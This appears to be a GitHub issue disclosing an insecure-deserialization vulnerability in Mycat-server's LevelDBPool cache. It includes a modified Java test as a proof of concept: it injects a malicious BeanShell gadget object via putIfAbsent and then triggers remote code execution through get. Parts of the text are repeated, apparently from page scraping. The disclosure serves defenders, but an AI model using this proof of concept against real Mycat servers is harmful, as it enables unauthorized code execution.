You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
1、Description
When using LevelDBPool to cache frequently accessed data or to optimize distributed system performance, the LevelDBPool.get method does not perform type validation and security checks on cached objects when a user fetches them and deserializes them as Java instances. As a result, an attacker can trigger an insecure deserialization process by first injecting a malicious object in the cache using the putIfAbsent method and then fetching the object via the get method. In this way, the attacker can execute arbitrary code on the target system, posing a serious security threat.
2、affected versions
Mycat-server-1.6.7.6-test and earlier versions
3、 Reproduce
We can simulate the (simplified) process of exploiting this vulnerability by slightly modifying the TestCachePoolPerformance.java code (the test unit in the project source code).
/* * Copyright (c) 2020, OpenCloudDB/MyCAT and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software;Designed and Developed mainly by many Chinese * opensource volunteers. you can redistribute it and/or modify it under the * terms of the GNU General Public License version 2 only, as published by the * Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Any questions about this component can be directed to it's project Web address * https://code.google.com/p/opencloudb/. * */packageio.mycat.cache;
importio.mycat.cache.CachePool;
importio.mycat.cache.CacheStatic;
importio.mycat.cache.impl.EnchachePool;
importio.mycat.cache.impl.LevelDBCachePooFactory;
importio.mycat.cache.impl.MapDBCachePooFactory;
/** * test cache performance ,for encache test set VM param -server -Xms1100M -Xmx1100M * for mapdb set vm param -server -Xms100M -Xmx100M -XX:MaxPermSize=1G */importnet.sf.ehcache.Cache;
importnet.sf.ehcache.CacheManager;
importnet.sf.ehcache.config.CacheConfiguration;
importnet.sf.ehcache.config.MemoryUnit;
importstaticdemo.payload.evilObjGenerator.EvilObjGenerator.getEvilBshObj;
publicclassTestCachePoolPerformance {
privateCachePoolpool;
privateintmaxCacheCount = 100 * 10000;
publicstaticCachePoolcreateEnCachePool() {
CacheConfigurationcacheConf = newCacheConfiguration();
cacheConf.setName("testcache");
cacheConf.maxBytesLocalHeap(400, MemoryUnit.MEGABYTES)
.timeToIdleSeconds(3600);
Cachecache = newCache(cacheConf);
CacheManager.create().addCache(cache);
EnchachePoolenCachePool = newEnchachePool(cacheConf.getName(),cache,400*10000);
returnenCachePool;
}
publicstaticCachePoolcreateLevelDBCachePool() {
LevelDBCachePooFactoryfact = newLevelDBCachePooFactory();
returnfact.createCachePool("mapdbcache", 100 * 10000, 3600);
}
publicvoidtest() throwsException {
testSwarm();
}
privatevoidtestSwarm() throwsException {
System.out.println("prepare ........");
for (inti = 0; i < 2; i++) {
pool.putIfAbsent(i % 100, getEvilBshObj()); // point 1: inject evil object
}
for (inti = 0; i < 2; i++) {
pool.get(i % 100); // point 2: trigger the unsafe deserialization process, and launch a remote code execution attack.
}
pool.clearCache();
}
publicstaticvoidmain(String[] args) throwsException {
TestCachePoolPerformancetester = newTestCachePoolPerformance();
tester.pool = createLevelDBCachePool();
tester.test();
}
}
point 2: LevelDBPool.get method uses the JDK's native deserialization protocol, and the absence of any configured blacklists, a multitude of well-known gadget chains can be employed for attacks. Below, an example is provided using a well-known gadget chain (e.g. in getEvilBshObj()).
This gadget chain relies on a popular component and is configured as follows.
1、Description
When using
LevelDBPool
to cache frequently accessed data or to optimize distributed system performance, the LevelDBPool.get method does not perform type validation and security checks on cached objects when a user fetches them and deserializes them as Java instances. As a result, an attacker can trigger an insecure deserialization process by first injecting a malicious object in the cache using theputIfAbsent
method and then fetching the object via theget
method. In this way, the attacker can execute arbitrary code on the target system, posing a serious security threat.2、affected versions
Mycat-server-1.6.7.6-test and earlier versions
3、 Reproduce
We can simulate the (simplified) process of exploiting this vulnerability by slightly modifying the
TestCachePoolPerformance.java
code (the test unit in the project source code).point 2:
LevelDBPool.get
method uses the JDK's native deserialization protocol, and the absence of any configured blacklists, a multitude of well-known gadget chains can be employed for attacks. Below, an example is provided using a well-known gadget chain (e.g. in getEvilBshObj()).Reflection.java
Attack Impact
Remote Command Execution (RCE), in this attack test, manifests as the invocation of the calculator application.
The text was updated successfully, but these errors were encountered: